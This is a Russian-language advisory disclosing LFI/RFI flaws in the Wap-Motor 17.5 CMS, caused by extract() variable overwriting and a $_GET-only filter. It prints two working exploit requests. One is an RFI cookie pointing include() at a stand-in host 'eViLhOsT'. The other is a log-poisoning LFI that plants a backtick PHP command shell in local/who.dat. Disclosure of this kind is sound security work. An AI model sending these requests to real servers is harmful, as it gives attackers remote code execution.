LFI/RFI-уязвимости в Wap-Motor 17.5

Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>

На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
	echo 'Файл с данными параметрами не найден!';
}else{
	include_once $p.'/'.$f.'.'.$config_ras;
}
?>

Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>

При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.
RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также allow_url_fopen=on):

GET /index.php HTTP/1.0
Host: localhost
Cookie: p=http://eViLhOsT; f=s;
Connection: close  

LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off):

GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3F%3E HTTP/1.0
Host: localhost
Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41;
Connection: close

Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:

<?php echo `{$_COOKIE['c']}`; ?>

При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
Разработчик проинформирован и принял соответствующие меры.


No comments yet.

Write a comment: